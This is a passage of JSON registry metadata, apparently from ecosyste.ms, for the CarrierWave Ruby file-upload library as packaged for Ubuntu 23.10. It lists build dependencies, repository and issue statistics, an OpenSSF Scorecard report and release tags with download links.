url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.1.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.1.0/manifests"}]},"repo_metadata_updated_at":"2026-08-07T04:18:20.436Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":100},"purl":"pkg:deb/ubuntu/ruby-carrierwave?arch=source\u0026distro=ubuntu-23.10\u0026repository_url=https://launchpad.net/ubuntu/mantic","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/ubuntu/ruby-carrierwave","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/ubuntu/ruby-carrierwave","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/ubuntu/ruby-carrierwave/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":{"last_synced_at":"2026-08-06T21:18:14.645Z","issues_count":182,"pull_requests_count":125,"avg_time_to_close_issue":81578355.10563381,"avg_time_to_close_pull_request":5115634.638095238,"issues_closed_count":142,"pull_requests_closed_count":105,"pull_request_authors_count":65,"issue_authors_count":163,"avg_comments_per_issue":2.456043956043956,"avg_comments_per_pull_request":1.648,"merged_pull_requests_count":70,"bot_issues_count":0,"bot_pull_requests_count":4,"past_year_issues_count":12,"past_year_pull_requests_count":23,"past_year_avg_time_to_close_issue":5608133.0,"past_year_avg_time_to_close_pull_request":3071969.3,"past_year_issues_closed_count":2,"past_year_pull_requests_closed_count":10,"past_year_pull_request_authors_count":17,"past_year_issue_authors_count":12,"past_year_avg_comments_per_issue":0.8333333333333334,"past_year_avg_comments_per_pull_request":0.7391304347826086,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":3,"past_year_merged_pull_requests_count":5,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/issues","maintainers":[{"login":"mshibuya","count":7,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/mshibuya"},{"login":"plribeiro3000","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/plribeiro3000"}],"active_maintainers":[]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-23.10/packages/ruby-carrierwave/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-23.10/packages/ruby-carrierwave/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-23.10/packages/ruby-carrierwave/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-23.10/packages/ruby-carrierwave/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-23.10/packages/ruby-carrierwave/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-23.10/packages/ruby-carrierwave/codemeta","maintainers":[],"registry":{"name":"ubuntu-23.10","url":"https://launchpad.net/ubuntu/mantic","ecosystem":"ubuntu","default":false,"packages_count":36642,"maintainers_count":0,"namespaces_count":4,"keywords_count":2213,"github":"ubuntu","metadata":{"codename":"mantic","mirror":"http://old-releases.ubuntu.com/ubuntu","funded_packages_count":1177},"icon_url":"https://github.com/ubuntu.png","created_at":"2026-02-04T11:01:48.636Z","updated_at":"2026-08-17T05:05:37.010Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-23.10/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-23.10/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-23.10/namespaces"}},{"id":13566189,"name":"ruby-carrierwave","ecosystem":"ubuntu","description":null,"homepage":"https://github.com/carrierwaveuploader/carrierwave","licenses":null,"normalized_licenses":[],"repository_url":"https://github.com/carrierwaveuploader/carrierwave","keywords_array":["universe/misc"],"namespace":"universe","versions_count":1,"first_release_published_at":"2026-02-11T06:36:38.761Z","latest_release_published_at":"2026-02-11T06:36:38.761Z","latest_release_number":"1.3.2-2","last_synced_at":"2026-03-12T01:18:59.158Z","created_at":"2026-02-11T06:36:38.562Z","updated_at":"2026-08-07T04:18:20.564Z","registry_url":"https://launchpad.net/ubuntu/+source/ruby-carrierwave","install_command":"apt-get install ruby-carrierwave","documentation_url":null,"metadata":{"component":"universe","architecture":"all","priority":"optional","binary":"ruby-carrierwave","standards_version":"4.5.1","maintainer":"Debian Ruby Extras Maintainers \u003cpkg-ruby-extras-maintainers@lists.alioth.debian.org\u003e","build_depends":"cucumber, debhelper-compat (= 13), gem2deb, rake, rails (\u003e= 4.0~), ruby-activemodel, ruby-activerecord (\u003e= 2:4.0~), ruby-activesupport (\u003e= 2:4.0~), ruby-generator-spec (\u003e= 0.9.1~), ruby-mime-types (\u003e= 1.16~), ruby-ssrf-filter, ruby-mini-magick (\u003e= 3.6.0~), ruby-pg, ruby-rmagick, ruby-timecop, ruby-webmock, ruby-rspec (\u003e= 3.4~), ruby-fog-aws, ruby-fog-google (\u003e= 1.7.1~), ruby-fog-local, ruby-fog-rackspace, pry","build_depends_indep":null,"build_depends_arch":null},"repo_metadata":{"id":426955,"uuid":"47087","full_name":"carrierwaveuploader/carrierwave","owner":"carrierwaveuploader","description":"Classier solution for file uploads for Rails, Sinatra and other Ruby web frameworks","archived":false,"fork":false,"pushed_at":"2026-06-22T13:57:00.000Z","size":5102,"stargazers_count":8781,"open_issues_count":68,"forks_count":1649,"subscribers_count":128,"default_branch":"master","last_synced_at":"2026-08-04T04:05:10.902Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":"https://github.com/carrierwaveuploader/carrierwave","language":"Ruby","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/carrierwaveuploader.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":"CONTRIBUTING.md","funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null}},"created_at":"2008-08-28T18:39:49.000Z","updated_at":"2026-07-28T18:06:49.000Z","dependencies_parsed_at":"2026-01-05T09:00:37.179Z","dependency_job_id":null,"html_url":"https://github.com/carrierwaveuploader/carrierwave","commit_stats":{"total_commits":2061,"total_committers":457,"mean_commits":"4.5098468271334795","dds":0.7472100921882581,"last_synced_commit":"f0620919d00dbd74d31e6b48f62346d6090e88f7"},"previous_names":["jnicklas/carrierwave"],"tags_count":88,"template":false,"template_full_name":null,"purl":"pkg:github/carrierwaveuploader/carrierwave","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/carrierwaveuploader","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/sbom","scorecard":{"id":266668,"data":{"date":"2025-08-11","repo":{"name":"github.com/carrierwaveuploader/carrierwave","commit":"a51a97071fec5cf4a0b693b8271dd4c59d6b80ab"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":3.8,"checks":[{"name":"Maintained","score":1,"reason":"2 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 1","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Code-Review","score":2,"reason":"Found 6/21 approved changesets -- score normalized to 2","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Warn: no topLevel permission defined: .github/workflows/test.yml:1","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test.yml:48: update your workflow using https://app.stepsecurity.io/secureworkflow/carrierwaveuploader/carrierwave/test.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/test.yml:58: update your workflow using https://app.stepsecurity.io/secureworkflow/carrierwaveuploader/carrierwave/test.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test.yml:71: update your workflow using https://app.stepsecurity.io/secureworkflow/carrierwaveuploader/carrierwave/test.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/test.yml:75: update your workflow using https://app.stepsecurity.io/secureworkflow/carrierwaveuploader/carrierwave/test.yml/master?enable=pin","Info:   0 out of   2 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   2 third-party GitHubAction dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"Security-Policy","score":0,"reason":"security policy file not detected","details":["Warn: no security policy file detected","Warn: no security file to analyze","Warn: no security file to analyze","Warn: no security file to analyze"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"License","score":0,"reason":"license file not detected","details":["Warn: project does not have a license file"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"SAST","score":0,"reason":"SAST tool is not run on all commits -- score normalized to 0","details":["Warn: 0 commits out of 15 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-17T12:15:17.296Z","repository_id":426955,"created_at":"2025-08-17T12:15:17.296Z","updated_at":"2025-08-17T12:15:17.296Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":36320704,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-07-20T02:08:10.276Z","status":"online","status_checked_at":"2026-08-05T02:00:06.619Z","response_time":104,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"carrierwaveuploader","name":"CarrierWave","uuid":"3982589","kind":"organization","description":null,"email":null,"website":null,"location":null,"twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/3982589?v=4","repositories_count":7,"last_synced_at":"2024-03-25T21:59:40.930Z","metadata":{"has_sponsors_listing":false},"html_url":"https://github.com/carrierwaveuploader","funding_links":[],"total_stars":9677,"followers":8,"following":0,"created_at":"2022-11-02T17:12:49.258Z","updated_at":"2024-03-25T21:59:42.171Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/carrierwaveuploader","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/carrierwaveuploader/repositories"},"tags":[{"name":"v2.2.7","sha":"690c44b63592ba8ff5b423e2565c1f75338dd2e3","kind":"tag","published_at":"2026-05-23T05:39:48.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v2.2.7","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v2.2.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v2.2.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.2.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.2.7/manifests"},{"name":"v3.1.3","sha":"5effe4ecaae967c48d6d434f89eb71b8263dd4d4","kind":"tag","published_at":"2026-05-23T05:36:04.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v3.1.3","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.1.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v3.1.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.1.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.1.3/manifests"},{"name":"v3.1.2","sha":"8e5db8cb0b01b1d06b95d46fedf2e0c2a445a0e9","kind":"tag","published_at":"2025-04-13T06:02:50.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v3.1.2","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.1.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v3.1.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.1.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.1.2/manifests"},{"name":"v3.1.1","sha":"550e423fbd5cd45cac262e2c5d13bfe778be5093","kind":"tag","published_at":"2025-01-12T09:38:42.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v3.1.1","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v3.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.1.1/manifests"},{"name":"v3.1.0","sha":"d85c9e6e1fc1a6b5dfadba34489f128c75b549ba","kind":"tag","published_at":"2024-12-14T08:54:06.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v3.1.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v3.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.1.0/manifests"},{"name":"v3.1.0.rc","sha":"db7a7ebdd6abffa97c24abf7a52321f0ca3d5dd6","kind":"tag","published_at":"2024-12-07T05:11:18.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v3.1.0.rc","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.1.0.rc","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v3.1.0.rc","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.1.0.rc","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.1.0.rc/manifests"},{"name":"v3.1.0.beta","sha":"2e8bfc042ded9b51a8129ed41baf9283fd67aef6","kind":"tag","published_at":"2024-09-01T10:28:33.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v3.1.0.beta","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.1.0.beta","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v3.1.0.beta","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.1.0.beta","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.1.0.beta/manifests"},{"name":"v3.0.7","sha":"cf2f011774ff449b3107c422540610e698d3dc28","kind":"tag","published_at":"2024-03-23T08:16:52.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v3.0.7","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.0.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v3.0.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.7/manifests"},{"name":"v2.2.6","sha":"eb6359e79fee43d1c480b0f50d9a585b3c3b1c1c","kind":"tag","published_at":"2024-03-23T08:16:37.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v2.2.6","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v2.2.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v2.2.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.2.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.2.6/manifests"},{"name":"v3.0.6","sha":"a18e13c9a183a036758c6c9efed6608f17c9b919","kind":"tag","published_at":"2024-03-09T09:50:35.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v3.0.6","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.0.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v3.0.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.6/manifests"},{"name":"v2.2.5","sha":"0fcff94cebce07b856531d6502b11466e8331409","kind":"tag","published_at":"2023-11-29T04:42:53.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v2.2.5","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v2.2.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v2.2.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.2.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.2.5/manifests"},{"name":"v3.0.5","sha":"5316b352b6ed38595e99622eeb954a2cd0b1d5c2","kind":"tag","published_at":"2023-11-29T04:35:31.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v3.0.5","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.0.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v3.0.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.5/manifests"},{"name":"v3.0.4","sha":"0c50a8bc7d1c39fe15be056fb22c7b110b9815ae","kind":"tag","published_at":"2023-10-08T09:42:12.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v3.0.4","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.0.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v3.0.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.4/manifests"},{"name":"v1.3.4","sha":"25b289e928eadc049d2c5f00d8b6864f451fcf79","kind":"tag","published_at":"2023-09-24T09:19:20.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v1.3.4","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v1.3.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v1.3.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.3.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.3.4/manifests"},{"name":"v3.0.3","sha":"f31546ac41c6a11480425b1528e6834581da2726","kind":"tag","published_at":"2023-08-21T02:43:29.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v3.0.3","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.0.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v3.0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.3/manifests"},{"name":"v3.0.2","sha":"d339c275f49de70547c2e5e6145e72fdfdc6379a","kind":"tag","published_at":"2023-08-01T07:15:51.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v3.0.2","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v3.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.2/manifests"},{"name":"v3.0.1","sha":"3bdbfda18ab3e6aa07a3954f3c6f11d69437a1d8","kind":"tag","published_at":"2023-07-22T09:36:33.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v3.0.1","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v3.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.1/manifests"},{"name":"v3.0.0","sha":"269c37a6c8609c26915f31ccfada512ef12fb3cb","kind":"tag","published_at":"2023-07-02T09:22:13.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v3.0.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v3.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.0/manifests"},{"name":"v3.0.0.rc","sha":"114d5935e137825266ecd7cfe2ceadb07ce9b96f","kind":"tag","published_at":"2023-06-11T09:56:50.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v3.0.0.rc","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.0.0.rc","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v3.0.0.rc","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.0.rc","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.0.rc/manifests"},{"name":"v2.2.4","sha":"2f91bee6487d8e5d8bd2c1a88dd25269a2c1e4d0","kind":"tag","published_at":"2023-06-10T06:22:25.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v2.2.4","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v2.2.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v2.2.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.2.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.2.4/manifests"},{"name":"v1.3.3","sha":"c5565e00f2898a3c78bc197662e53e5e535dc708","kind":"tag","published_